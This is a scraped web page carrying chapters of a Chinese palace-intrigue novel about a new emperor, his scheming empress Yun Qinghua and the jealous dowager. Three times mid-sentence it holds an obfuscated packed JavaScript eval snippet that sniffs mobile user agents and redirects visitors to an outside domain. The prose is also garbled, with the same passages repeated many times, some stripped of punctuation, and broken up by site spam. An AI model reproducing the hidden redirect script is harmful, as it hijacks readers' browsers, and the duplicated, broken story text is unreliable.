他轻笑,正色道:“我是不想让你太操劳,东宫的女人都不是安分的,到时候承宁,照看怀孕的夫人、分宫殿、晋位分全靠你了。” 裴墨染犹记得之前云褚下狱,蛮蛮忧思过度,伤及心神,甚至有性命危险的事情,他不敢让她太过劳累。 “我不怕操劳,只怕不能助夫君一臂之力,让夫君烦忧。”她看着裴墨染,眸子晶亮,其中像是装了星河。 裴墨染看着她小鹿一般清澈的眸子,心中最柔软的部分好像被戳中。 身边的人都在变,或多或少跟他渐行渐远,变得生疏。 只有蛮蛮待他如常,没有丝毫谄媚、畏惧跟生分,这种情谊是世间难得的。 若是没了蛮蛮,他又会恢复到从前孤家寡人的状态。 他捏捏她的小脸,“蛮蛮,这些日子要辛苦你了,到时候我让钦天监挑一个好日子举行皇后、太子、长公主的册封大典。” 她对他的自觉很满意,身子跟无骨似的 软软地靠在他的怀里,双臂环住他的腰,“我都听夫君的。” “迁宫的事,你是怎么打算的?嗯?”裴墨染的声音一沉,似乎在对待一件严峻的事。 云清婳努努嘴,“让母后搬走,母后就会心甘情愿地搬走?她肯定会作妖,她的宫殿我膈应,我才不住。” “如此甚好,父皇在时,曾命人修缮了新宫殿,到时候你正好搬进去?”他操着询问的口吻。 她缓缓颔首。 他缓缓吁出一口气,似乎想到了什么不愉快的事情,“最近诸葛先生跟我生分了,他面对我异常恭谨、畏惧谨慎,就好像我们只是君臣。但在我心中,他是我的老师,是我的左右手,我们都相识快十年了……” 裴墨染明白诸葛贤是觉得他今非昔比,所以才小心翼翼。但这让他很不舒服,就好像他们原本是亲密无间的战友,可现在却隔了层东西,把他们的情谊斩开。 云清婳不禁在心中佩服诸葛贤的智慧,他看事情总是这么通透,当断则断。 帝王的心思是最让人捉摸不透的,诸葛贤很有可能是担心裴墨染将来翻脸不认人,觉得他知道裴墨染太多秘密,从而引来杀身之祸。 若是没猜错,诸葛贤说不定会为了活命主动辞官。 “人都是会变的,身份不同,面对的人和事都不同。夫君将来也会变。”说着,她用食指戳了戳裴墨染的心口,像是在提醒。 裴墨染的眉梢挂着调笑的意味,可垂眸看见云清婳幽怨的小表情,他登时明白她不是在说笑。“蛮蛮的意思是我登基后也会变?变得不念旧情?” “夫君从前在父皇面前卑躬屈膝,可现在只有别人对你卑躬屈膝的份儿,久而久之你的心态必会发生变化。或许那时候,夫君会觉得我恃宠而骄,对你不敬,会讨厌我。”说着,她的声音竟然颤抖起来。 就好像这些事情已经发生。 他冤枉得不得了,蛮蛮又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395536|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭借臆想,把莫须有的罪名扣在他身上。 “怎么又委屈了?”裴墨染轻轻拍着她的背脊安慰她,“蛮蛮跟别人是不一样的,也许将来我会变,但我知道,这世上只有蛮蛮才受得了我,除了你,不会再有人真心待我。我孑然一身而来,爹不疼娘不爱,我想要真心。” 云清婳见铺垫得差 不多了,她抛出核心思想,“所以夫君日后对亲信,对诸葛先生要宽厚亲和一些啊,让他们对您有信心啊。兔死狗烹,鸟尽弓藏,他们会担心,也是人之常情。 她说话总是循循善诱,让人听了很舒服,不会有卖弄聪明,教人做事的感觉, 裴墨染漆黑的瞳仁里闪过精光,他瞬间明白了云清婳的意思,“蛮蛮的意思是,诸葛先生将来会辞官? 他严肃地看着云清糊,“蛮蛮,倘若日后你发现我变了,哪怕只有一点苗头也要及时提醒我,我不听别人的话,但我听你的话。 “好。她一口应下了。 但她并不当真,除非真的威胁到了她的利益。 她可不傻,趋利避害是每个人的本能。 正所谓忠言逆耳,劝谏直言也许一开始裴墨染会感激,但次数多了只会让他不耐烦,给他添堵,毕竟谁喜欢被人指指点点? 再深的感情,在指责中也会消磨殆尽。 忽地,外面传来欢快的脚步声。 王显推开门,恭敬地弯腰拱手道:“皇上,大皇子跟公主散学来请安了。 云清婳立即从裴墨染的怀里出来,她的脸蛋含羞似怯,就像是快要绽放的花蕾。 裴墨染觉得莫名其妙,他可没有让孩子请安的习惯。 “让他们进来。他的眼中的慈爱快要溢出来。 少顷,承基、辞优小跑了进来。 “爹爹、娘亲……辞优甩着小肉腿跑了过来,对裴墨染张开双臂要抱抱。 裴墨染弯下腰,熟稔的同时抱起承基、辞忧,他掂了掂,“娘亲把你们照顾得真好,又长胖了不少。 “爹爹,我不胖,都怪肉肉太明显。辞忧说着挠了挠圆鼓鼓的肚皮。 第354章 内心住了魔鬼 裴墨染跟云清婳默契地扭头对视。 二人眼中同步的倒映出了几分迷茫,随后扑哧笑出了声。 “哈哈哈哈……”云清婳轻笑。 “说话一套一套的,跟谁学的?”说着,裴墨染悄悄斜睨着云清婳。 云清婳夹了他一眼,“才不是我!她这么欠,肯定是跟你学的。” 若说承基是跟她学的,她认。 但辞忧的性情真的不像她。 辞忧天不怕地不怕,欠欠的,哪里像她? “爹爹,是皇爷爷说的啊。”辞忧笑道。 提到先皇,裴墨染的脸像是凝固住了,陡然僵硬。 承基奶声奶气的纠正,“妹妹,太傅教了,我们应该叫父皇、母后。” 裴墨染的脸微微一沉。 他不喜欢这样,不想跟孩子生分。 “承基、辞忧,你们想怎么叫就怎么叫。”裴墨染正色道。 云清婳乜了他一眼,补充道:“但是在人多的时候,还是要叫父皇、母后。” 她可不希望两个小家伙被人诟病,落人口实。 两个古灵精怪的小包子难得乖巧,认真地点头。 裴墨染心里有点不是滋味,为何孩子这么听蛮蛮的话?却丝毫不怕他? “对了,还有一件事,”云清婳福至心灵,“皇爷爷驾崩,你们真的一点都不伤心?” 云清婳想要确认一件事。 她还是害怕两个小家伙跟她一样,情感缺失。 他们实在太聪明,跟她小时候一模一样,也许目前的一切表现都是在演戏在装乖…… 他们的内心其实住了魔鬼。 “蛮蛮,孩子还小呢,不懂事,你莫要太过忧心。”裴墨染无奈地劝道。 “唔……” 承基、辞忧像是犯了错,垂下了脑袋,他们不约而同地搅着手指。 这小模样要多可怜,有多可怜。 “娘亲没有怪你们,是不是,蛮蛮?”裴墨染望向云清婳。 “嗯。”她心不在焉地颔首。 两个小包子倏地眼冒金光,抬起了小脑袋,什么烦恼都没了。 “你们玩去吧!”裴墨染放下他们,示意王显将他们带下去。 人走后, 裴墨染将云清婳扶到上首坐下,他殷勤地给她揉肩膀,“蛮蛮别想太多,你还担心孩子日后不孝顺不成?咱们又无需他们养老。 他半玩笑道。 云清婳瞥了他一眼,日后两个孩子若是混账起来弑父你就老实了。 她开始有点母亲的样子了,作为他们的母亲,她还是希望两个孩子是正常的。 “夫君,你就惯他们吧,裴家都有谋权篡位的血统,等他俩**你就老实了。她边开玩笑,边慵懒自如地倚靠在龙椅上。 “**?父皇已然封承基为皇太孙,只要承基不出大错,将来皇位就是承基的,他造自己的反不成?他顿了顿,“至于辞忧,只要咱们好好疼爱、教养孩子,辞忧、承基一定不会**,绝不会像父皇跟裴玉珠一样。 “后宅又有几位夫人怀孕了,以后的事谁说得准?立储不是小事,夫君要慎重。她真诚地看着裴墨染。 当然,她在故意以退为进。 裴墨染难言地看着她,无奈道:“蛮蛮,自私一点,你不想让咱们的儿子做储君?这种话以后别说了,我听着心寒,就好像你把我当外人。咱们是承基、辞忧的爹娘,有什么好东西,自然都要紧着他们。 “我偏心辞忧跟承基,至于其他的孩子,我也会尽量一碗水端平。我最后明白了父皇的偏心,但也看透了他的凉薄与自私。他明明是可以对我好的,但他偏不善待我,就好像一切的错都在皇后身上。 云清婳点头,“我知道了。 “我会为承基扫清障碍,让他将来顺利继位。裴墨染的话锋一转,“待父皇下葬,我便会赶裴云澈去就藩,让他永不回京!他对你做的一切,我都记在心中,绝不会原谅。 云清婳的心咯噔一响,裴云澈倘若真的去就藩,他岂不是万事大吉了? 到时候天高皇帝远,她还怎么要裴云澈的命? “夫君放心放走他?她还想劝,但担心说漏了嘴,引得裴墨染怀疑,只能噤声。 裴墨染的眉毛拧在一起,“这种无耻下流的混账,留在眼皮子底下碍眼!若不是答应过父皇不动他,我今晚恨不得就命人将他暗杀了。 云清婳在心里翻了个白眼。 那你倒是派人去做啊! 反正老毕登 已经**你做什么他也不知道。 为何非要这么迂腐?非要讲信用? “夫君做什么我都支持。”她乖巧地说。 裴墨染心头上最软的一块肉仿佛被戳中他捏捏她的脸蛋“蛮蛮 “……”云清婳的眼底闪过犀利的光。 正是因为她的‘懂事’裴墨染才一而再再而三地违背诺言啊。 “父皇驾崩皇祖母心情跟身子都不好我去看看。”她道。 裴墨染颔首“我晚些时候也去陪陪皇祖母她同时失去了一对儿女心中一定不好受。” “嗯。” …… 翊坤宫。 一个双鬓染上银丝双颊垂垮面色蜡黄的中年妇人穿着明黄色的织锦袍头戴九凤四龙凤冠坐在金灿灿的凤位上。 她正襟危坐双手搭在椅臂上气势恢宏。 “皇上怎么还不来给哀家请安?”原皇后也就如今的太后苏采薇眼中泛着几分愠怒。 众宫女面面相觑欲言又止不知作何回答。 金嬷嬷的眉毛拧成了一个川字她正欲开口王显捏着拂尘走来了。 苏采薇的眼睛像是被点亮她张望着门外“皇上呢?” “参见太后娘娘太后万福。”王显跪在地上行礼。 苏采薇抬起手砰的一声砸响桌案“皇上呢?” 王显不慌不忙一脸平静他显然早就料到了苏采薇会这么问。 “回太后皇上从始至终都没说要来请安。不过皇上去拜祭了圣母皇太后还封了懿号为嘉贤端仪。” 这个懿号简直把一切形容美好品质的词都堆砌了上去。 苏采薇的眉心跳了跳她假装不在意地问:“那哀家呢?” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 已经**,你做什么他也不知道。 为何非要这么迂腐?非要讲信用? “夫君做什么,我都支持。她乖巧地说。 裴墨染心头上最软的一块肉仿佛被戳中,他捏捏她的脸蛋,“蛮蛮,幸好我的身边有你,你总是懂事到让我心疼。 “……云清婳的眼底闪过犀利的光。 正是因为她的‘懂事’,裴墨染才一而再再而三地违背诺言啊。 “父皇驾崩,皇祖母心情跟身子都不好,我去看看。她道。 裴墨染颔首,“我晚些时候也去陪陪皇祖母,她同时失去了一对儿女,心中一定不好受。 “嗯。 …… 翊坤宫。 一个双鬓染上银丝,双颊垂垮,面色蜡黄的中年妇人穿着明黄色的织锦袍,头戴九凤四龙凤冠坐在金灿灿的凤位上。 她正襟危坐,双手搭在椅臂上,气势恢宏。 “皇上怎么还不来给哀家请安? 众宫女面面相觑,欲言又止,不知作何回答。 金嬷嬷的眉毛拧成了一个川字,她正欲开口,王显捏着拂尘走来了。 苏采薇的眼睛像是被点亮,她张望着门外,“皇上呢? “参见太后娘娘,太后万福。王显跪在地上行礼。 苏采薇抬起手,砰的一声砸响桌案,“皇上呢? 王显不慌不忙,一脸平静,他显然早就料到了苏采薇会这么问。 “回太后,皇上从始至终都没说要来请安。不过皇上去拜祭了圣母皇太后,还封了懿号为嘉贤端仪。 这个懿号简直把一切形容美好品质的词都堆砌了上去。 苏采薇的眉心跳了跳,她假装不在意地问:“那哀家呢? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 已经**,你做什么他也不知道。 为何非要这么迂腐?非要讲信用? “夫君做什么,我都支持。”她乖巧地说。 裴墨染心头上最软的一块肉仿佛被戳中,他捏捏她的脸蛋,“蛮蛮,幸好我的身边有你,你总是懂事到让我心疼。” “……”云清婳的眼底闪过犀利的光。 正是因为她的‘懂事’,裴墨染才一而再再而三地违背诺言啊。 “父皇驾崩,皇祖母心情跟身子都不好,我去看看。”她道。 裴墨染颔首,“我晚些时候也去陪陪皇祖母,她同时失去了一对儿女,心中一定不好受。” “嗯。” …… 翊坤宫。 一个双鬓染上银丝,双颊垂垮,面色蜡黄的中年妇人穿着明黄色的织锦袍,头戴九凤四龙凤冠坐在金灿灿的凤位上。 她正襟危坐,双手搭在椅臂上,气势恢宏。 “皇上怎么还不来给哀家请安?”原皇后也就如今的太后苏采薇眼中泛着几分愠怒。 众宫女面面相觑,欲言又止,不知作何回答。 金嬷嬷的眉毛拧成了一个川字,她正欲开口,王显捏着拂尘走来了。 苏采薇的眼睛像是被点亮,她张望着门外,“皇上呢?” “参见太后娘娘,太后万福。”王显跪在地上行礼。 苏采薇抬起手,砰的一声砸响桌案,“皇上呢?” 王显不慌不忙,一脸平静,他显然早就料到了苏采薇会这么问。 “回太后,皇上从始至终都没说要来请安。不过皇上去拜祭了圣母皇太后,还封了懿号为嘉贤端仪。” 这个懿号简直把一切形容美好品质的词都堆砌了上去。 苏采薇的眉心跳了跳,她假装不在意地问:“那哀家呢?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 已经**,你做什么他也不知道。 为何非要这么迂腐?非要讲信用? “夫君做什么,我都支持。”她乖巧地说。 裴墨染心头上最软的一块肉仿佛被戳中,他捏捏她的脸蛋,“蛮蛮,幸好我的身边有你,你总是懂事到让我心疼。” “……”云清婳的眼底闪过犀利的光。 正是因为她的‘懂事’,裴墨染才一而再再而三地违背诺言啊。 “父皇驾崩,皇祖母心情跟身子都不好,我去看看。”她道。 裴墨染颔首,“我晚些时候也去陪陪皇祖母,她同时失去了一对儿女,心中一定不好受。” “嗯。” …… 翊坤宫。 一个双鬓染上银丝,双颊垂垮,面色蜡黄的中年妇人穿着明黄色的织锦袍,头戴九凤四龙凤冠坐在金灿灿的凤位上。 她正襟危坐,双手搭在椅臂上,气势恢宏。 “皇上怎么还不来给哀家请安?”原皇后也就如今的太后苏采薇眼中泛着几分愠怒。 众宫女面面相觑,欲言又止,不知作何回答。 金嬷嬷的眉毛拧成了一个川字,她正欲开口,王显捏着拂尘走来了。 苏采薇的眼睛像是被点亮,她张望着门外,“皇上呢?” “参见太后娘娘,太后万福。”王显跪在地上行礼。 苏采薇抬起手,砰的一声砸响桌案,“皇上呢?” 王显不慌不忙,一脸平静,他显然早就料到了苏采薇会这么问。 “回太后,皇上从始至终都没说要来请安。不过皇上去拜祭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395537|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了圣母皇太后,还封了懿号为嘉贤端仪。” 这个懿号简直把一切形容美好品质的词都堆砌了上去。 苏采薇的眉心跳了跳,她假装不在意地问:“那哀家呢?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 已经**你做什么他也不知道。 为何非要这么迂腐?非要讲信用? “夫君做什么我都支持。”她乖巧地说。 裴墨染心头上最软的一块肉仿佛被戳中他捏捏她的脸蛋“蛮蛮幸好我的身边有你你总是懂事到让我心疼。” “……”云清婳的眼底闪过犀利的光。 正是因为她的‘懂事’裴墨染才一而再再而三地违背诺言啊。 “父皇驾崩皇祖母心情跟身子都不好我去看看。”她道。 裴墨染颔首“我晚些时候也去陪陪皇祖母她同时失去了一对儿女心中一定不好受。” “嗯。” …… 翊坤宫。 一个双鬓染上银丝双颊垂垮面色蜡黄的中年妇人穿着明黄色的织锦袍头戴九凤四龙凤冠坐在金灿灿的凤位上。 她正襟危坐双手搭在椅臂上气势恢宏。 “皇上怎么还不来给哀家请安?”原皇后也就如今的太后苏采薇眼中泛着几分愠怒。 众宫女面面相觑欲言又止不知作何回答。 金嬷嬷的眉毛拧成了一个川字 苏采薇的眼睛像是被点亮她张望着门外“皇上呢?” “参见太后娘娘太后万福。”王显跪在地上行礼。 苏采薇抬起手砰的一声砸响桌案“皇上呢?” 王显不慌不忙一脸平静他显然早就料到了苏采薇会这么问。 “回太后皇上从始至终都没说要来请安。不过皇上去拜祭了圣母皇太后还封了懿号为嘉贤端仪。” 这个懿号简直把一切形容美好品质的词都堆砌了上去。 苏采薇的眉心跳了跳她假装不在意地问:“那哀家呢?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 已经**,你做什么他也不知道。 为何非要这么迂腐?非要讲信用? “夫君做什么,我都支持。她乖巧地说。 裴墨染心头上最软的一块肉仿佛被戳中,他捏捏她的脸蛋,“蛮蛮,幸好我的身边有你,你总是懂事到让我心疼。 “……云清婳的眼底闪过犀利的光。 正是因为她的‘懂事’,裴墨染才一而再再而三地违背诺言啊。 “父皇驾崩,皇祖母心情跟身子都不好,我去看看。她道。 裴墨染颔首,“我晚些时候也去陪陪皇祖母,她同时失去了一对儿女,心中一定不好受。 “嗯。 …… 翊坤宫。 一个双鬓染上银丝,双颊垂垮,面色蜡黄的中年妇人穿着明黄色的织锦袍,头戴九凤四龙凤冠坐在金灿灿的凤位上。 她正襟危坐,双手搭在椅臂上,气势恢宏。 “皇上怎么还不来给哀家请安?原皇后也就如今的太后苏采薇眼中泛着几分愠怒。 众宫女面面相觑,欲言又止,不知作何回答。 金嬷嬷的眉毛拧成了一个川字,她正欲开口,王显捏着拂尘走来了。 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王显的眼中写满了讥诮。 现在知道难受了? 当初你不就是这样对待皇上的? “太后见谅!陛下日理万机,还在料理国丧,别说请安了,就连就寝都抽不开身。”王显似笑非笑,眼中似乎凝结了冰渣。 苏采薇又闹又怒,她随手抄起一个茶杯狠狠砸了下去,“既然如此,你来做甚?是来看哀家笑话的?你们是不是很得意?” “太后,您这就冤枉陛下了!皇上特地命奴才来跟您说明,让您日后不要派人通传了。”王显说完抬腿就走,险些又被飞来的茶壶砸中。 “墨染怎么可以这么对哀家?哀家是他的亲生母亲啊!”苏采薇最后一根名为理智的弦终于崩断,她嚎啕大哭起来,像一个孩子。 “我含辛茹苦,怀胎十月生下了他,可他却对宸妃这么好!凭什么宸妃可以不费吹灰之力就抢走哀家的丈夫跟孩子?” 金嬷嬷又是心疼又感到深深的无力。 先皇为何跟太后离心,她不知道,但陛下为何跟你离心,她再清楚不过了。 不是你亲手一步步将陛下推走的吗? 当初陛下有多孝顺,谁不知道? “陛下只是还没想通,陛下毕竟还年轻,还在跟您赌气呢。您消消火,倘若陛下真的心中没您,怎会派太监来故意气您?”金嬷嬷安慰道。 苏采薇像是抓住了最后的希望,她含泪看着金嬷嬷,“墨染当真是为了气哀家才故意加封宸妃?” “自然!”金嬷嬷笃定地点头。 在她看来,皇上这么做无非是为了气太后,让太后‘吃醋’,让太后服软。 “是啊,倘若墨染不在乎哀家,怎会故意来膈应哀家?他心里还是在乎的!哀家还没有 输!哀家一定可以重振苏家满门的荣耀!苏采薇呢喃。 “云清婳呢?她身为皇后,让她来给哀家请安总可以吧? 金嬷嬷欲言又止,满眼尽是无奈,“呃…… “呵,云清婳如愿成为皇后,必定很想住进翊坤宫吧?只要哀家不搬走,她一定心急如焚、急得团团转!皇后的嘴角斜提,神色冰冷傲慢,“你去把云清婳叫来,她应该想来很久了吧? 她一场自信,就好像主导一切的操盘手。 金嬷嬷用帕子揩去鬓角的冷汗,“太后娘娘,皇后娘娘不打算住进翊坤宫,先帝命人修缮了坤宁宫,这是开国太后住过的宫殿,皇后娘娘已经搬过去了。 言下之意便是,云清婳不稀罕你的翊坤宫! “什么?苏采薇的眉心一跳,眼中流露出几分悲切。 当年她也想住进坤宁宫,可先帝说这是开国太后住过的寝殿,她的德行、功劳、聪明才智难以媲美,为了显示恭敬,她不能住。 可为何换做云清婳就能轻而易举的住进去? 难道云清婳的功劳就比得上开国太后? “男人不喜欢你的时候,总有千百个理由拒绝你。苏采薇轻眨了下眼皮,两颗泪珠滚下。 金嬷嬷摸不着头脑,她不明白为何太后突然这么说。 “让云清婳过来,哀家可以把当初的凤袍、吉服、凤冠传给她。苏采薇的表情稍显倔强,她轻抚了下头上的四龙九凤冠,就好像给了偌大的恩赐。 “…… 殿中所有宫女、太监都露出为难的表情。 金嬷嬷的嘴巴张张合合,最后还是转身照做。 不到一炷香的功夫,金嬷嬷就回来了。 苏采薇一副高深莫测、意料之中的得意表情,她垂下眼皮子,视线射向门外,张望着。 “云清婳呢? 就算皇上不能来,皇后来请安也能彰显她的地位。 “回太后,皇后娘娘说她要给太皇太后侍疾,无暇来翊坤宫,还请您多担待。而且她的凤冠凤袍皆由皇上命人重新敕造完毕,她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400962|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤冠是九凤九凤冠。金嬷嬷说着,悄悄抬眼望向上首。 素来都是龙在上,凤在下,龙的数量压过凤的数量。 可云清婳的凤冠 却如此气派,这足以见得皇上对她的重视。 苏采薇气得胸口剧烈起伏,“九龙九凤冠?云清婳也配?” 众人垂下脑袋不敢吱声。 “呵……他们可真恩爱啊!墨染居然让云清婳跟他平起平坐?”她的眼中布满红血丝。 一想到云清婳跟宸妃一样,轻而易举就抢走了丈夫、儿子的爱,她的心就在滴血。 她们两个**为何这么可恶?非要跟她争抢? 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 特别是云清婳,她勾引了她的两个儿子啊! 如此**无耻、水性杨花的女人凭什么过得比她好? “云清婳很得意吧?觉得自己把皇上耍得团团转,抓住了皇上的心?”苏采薇咬牙切齿,“新帝登基,子嗣单薄,就算国丧,也应该选秀女了吧?” 她倒是要看看,等大批年轻貌美的秀女进宫,云清婳还会不会这么得意! …… 另一边,慈宁宫。 云清婳伺候完太皇太后喝药后,便跟她坐在茶桌前拉家常。 从怀孕的夫人、孩子讲到了太皇太后的家乡…… 太皇太后拉着云清婳的手,慈祥的脸上平添了一抹说不清道不明的沧桑与疲惫,短短几日,她的头发又白了不少,声音很轻,“清婳,哀家就知道你是个好的,定能跟墨染走到最后。” “我都是托了夫君的福。”云清婳露出苦尽甘来的笑。 “日后不必理会你母后,她太糊涂了,头脑不清醒。”太皇太后长长地叹了一口气,“若是没事,也少让孩子跟她接触。” 太皇太后的眸中闪烁着仅有长者才有的智慧的光。 接连失去了两个孩子,白发人送黑发人,她也很想就此倒下…… 可是她不能垮! 她得帮亡夫看着大昭江山,扶持裴家子孙后代永盛不衰。 第356章 孩子捡他们的缺点长 云清婳颔首她俏皮地说:“皇祖母放心在母后那里我跟夫君不会吃亏。” “这便好身为皇后责任不小万万不能被人扰了心神。”太皇太后看着她的眼睛话锋一转“虽然先帝已经立太子但是墨染还年轻 太皇太后能说出这番话云清婳并不惊讶。 她相信太皇太后是真心喜欢她的但身为上上届宫斗冠军若是把太皇太后当作善良、慈祥的老人就太天真了。 在太皇太后心中确保裴家皇权不衰才是正经事。 至于其他的都排在后面太皇太后对她好也只不过觉得她能做好贤内助扶持裴墨染罢了。 云清婳立即站起身她福礼“孙媳谨遵皇祖母教诲。我已经在拟定各个夫人的封位份跟封号了虽然现在还在丧期但是选秀事宜我也安排内务府秘密准备了。” 太皇太后满意的颔首她笑道:“清婳是最懂事的。” “皇祖母又把我当孩子了!”云清婳略带稚气地鼓嘴。 “呵……”太皇太后跟桂嬷嬷宠溺地笑了。 伺候太皇太后睡下后云清婳便离开了。 一出慈宁宫云清婳的脸就瞬间沉了下去。 “主子方才您说选秀事宜的时候皇上来了。”飞霜的秀眉紧锁“恐怕皇上生气了所以转身就走了。” 云清婳面无表情“我知道。” 她早就对裴墨染的脚步声了若指掌在他身边的每一分每一秒她都无比警觉。 在裴墨染朝大厅走的时候她就知道了。 “怎么办?皇上一登基就跟您离心就不好了。”飞霜低声喃喃。 云清婳戏谑地瞥了飞霜一眼“时至今日我已经成为皇后有了儿女他高不高兴还重要吗?离报仇只剩一步之遥了他的作用快没有了。” 飞霜有一瞬间觉得主子有些冷漠、无情但随之而来的是钦佩。 这么多年不忘初心不受感情所困的人也只有主子了。 “主子若是咱们报仇成功之后呢?”飞霜压低声音问。 她有些迷茫。 安于现状不是主子的作风但主子已经成为皇后有了子女她还能离 开皇宫吗? 云清婳的眼神黯淡下来晦涩道:“这不取决于我。” “嗯?”飞霜更迷茫了。 她但笑不语。 “找个机会让我跟裴云澈见一面我一定不能让他离开京城。”云清婳交代着。 飞霜重重地点头“是奴婢一定不能让裴云澈‘逃走’。” …… 云清婳已经迁宫坤宁宫。 她一回寝殿便看见了裴墨染。 他跪坐在低矮的茶几前握着辞忧的手一笔一画耐心地教她写字。 承基像个小大人捏着毛笔有模有样地在宣纸上写着什么。 橘黄的烛火照在父子三人身上画面异常的温馨。 “爹爹宝宝写得好看吗?”辞忧奶声奶气地问。 “呃……”裴墨染的眉头紧锁艰难地点点头就像是做了昧良心的事。 辞忧摸了摸下巴“爹爹有眼光这个送你了。” 裴墨染:??? 为什么辞忧说话的语气似曾相识? 好像父皇…… “谢……谢?”裴墨染吞吞吐吐地说。 扑哧—— 云清婳笑出了声。 三人同时抬头眼神放光。 “蛮蛮!” “娘亲……”承基、辞忧的小短腿快甩成了风火轮朝她跑来。 云清婳弯下腰捏捏他们肉嘟嘟的小脸“爹爹教你们写什么了?” “写名字。”辞忧兴冲冲地将宣纸拿给云清婳“娘亲送你了。” 裴墨染抱着胳膊佯装生气“你不是说要送爹爹吗?” “……”辞忧假装听不见压根不理他。 裴墨染:…… 云清婳嘴边的笑弧更大了她低头看了眼辞忧写的歪七扭八的字夸奖道:“写的真好跟哥哥玩去吧。” “娘亲只有妹妹写得好吗?”说着 好像受尽了委屈。 他还故意将自己才写完的大字撕成两半颇有几分伤春悲秋、西子捧心的即视感。 裴墨染:??? 云清婳:??? 不是你能不能不要再在我面前茶了? “承基写得也很好看。”云清婳夸奖道。 话音刚落,承基的小脸瞬间由阴转晴。 他拉着辞忧到一边的毛毡上玩木马去了。 “蛮蛮,承基跟你越发像了。”裴墨染哭笑不得地调侃,他冲云清婳勾勾手,示意她在他身边坐下。 云清婳坐到他身侧,她娇嗔地瞪了他一眼,“我哪有他这么做作?” “呵……”裴墨染轻笑。 “我都有点担心了,两个孩子好像都是捡咱们的缺点长。”云清婳倚靠在裴墨染的怀里,她越想越心塞。 承基茶兮兮,辞忧贱兮兮的。 “胡说八道,两个孩子长得像你,那么好看,怎就是缺点了?”他半玩笑半认真的纠正。 她笑得更加灿烂,“夫君越来越油嘴滑舌了。” 忽的,云清婳像是想到什么,她递给飞霜一个眼神。 飞霜将册子上首呈上。 “我把各个夫人的位份跟封号拟好了,你看看有没有要修改的?”她将锦册交给裴墨染。 裴墨染脸上的线条骤然紧绷,面色暗了暗,他随意翻看了几眼,将锦册丢到一边,“这些全权由你决定,不必跟我说。” 他又道:“蛮蛮,其实方才我去了慈宁宫,你跟太后说的话我都听见了。” “……”云清婳看向他,左边的黛眉微微一挑,等待他的下文。 “选秀的事,我都知道了。”他握住她的手,“委屈你了……” 飞霜有些惊讶。 云清婳早就见怪不怪,一个男人爱你的时候,你无论做了什么,他都会心疼。 就算你杀了人,他还会担心你拿刀的时候手沉不沉。 她戳戳他的脸,“夫君心里乐开花了吧?” 裴墨染微微一怔,他的桃花眼陡然瞪大,拔高声音道:“蛮蛮,我不是沉湎于女色的人,你是知道的,我有什么可高兴?我有你就够了,照我说,什么劳什子秀女,我一个都不要!有你一个就够我烦了。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “承基写得也很好看。”云清婳夸奖道。 话音刚落承基的小脸瞬间由阴转晴。 他拉着辞忧到一边的毛毡上玩木马去了。 “蛮蛮承基跟你越发像了。”裴墨染哭笑不得地调侃他冲云清婳勾勾手示意她在他身边坐下。 云清婳坐到他身侧她娇嗔地瞪了他一眼“我哪有他这么做作?” “呵……”裴墨染轻笑。 “我都有点担心了两个孩子好像都是捡咱们的缺点长。”云清婳倚靠在裴墨染的怀里她越想越心塞。 承基茶兮兮辞忧贱兮兮的。 “胡说八道两个孩子长得像你那么好看怎就是缺点了?”他半玩笑半认真的纠正。 她笑得更加灿烂“夫君越来越油嘴滑舌了。” 忽的云清婳像是想到什么她递给飞霜一个眼神。 飞霜将册子上首呈上。 “我把各个夫人的位份跟封号拟好了你看看有没有要修改的?”她将锦册交给裴墨染。 裴墨染脸上的线条骤然紧绷面色暗了暗他随意翻看了几眼将锦册丢到一边“这些全权由你决定不必跟我说。” 他又道:“蛮蛮其实方才我去了慈宁宫你跟太后说的话我都听见了。” “……”云清婳看向他左边的黛眉微微一挑等待他的下文。 “选秀的事 飞霜有些惊讶。 云清婳早就见怪不怪一个男人爱你的时候你无论做了什么他都会心疼。 就算你杀了人他还会担心你拿刀的时候手沉不沉。 她戳戳他的脸“夫君心里乐开花了吧?” 裴墨染微微一怔他的桃花眼陡然瞪大拔高声音道:“蛮蛮我不是沉湎于女色的人你是知道的我有什么可高兴?我有你就够了照我说什么劳什子秀女我一个都不要!有你一个就够我烦了。” 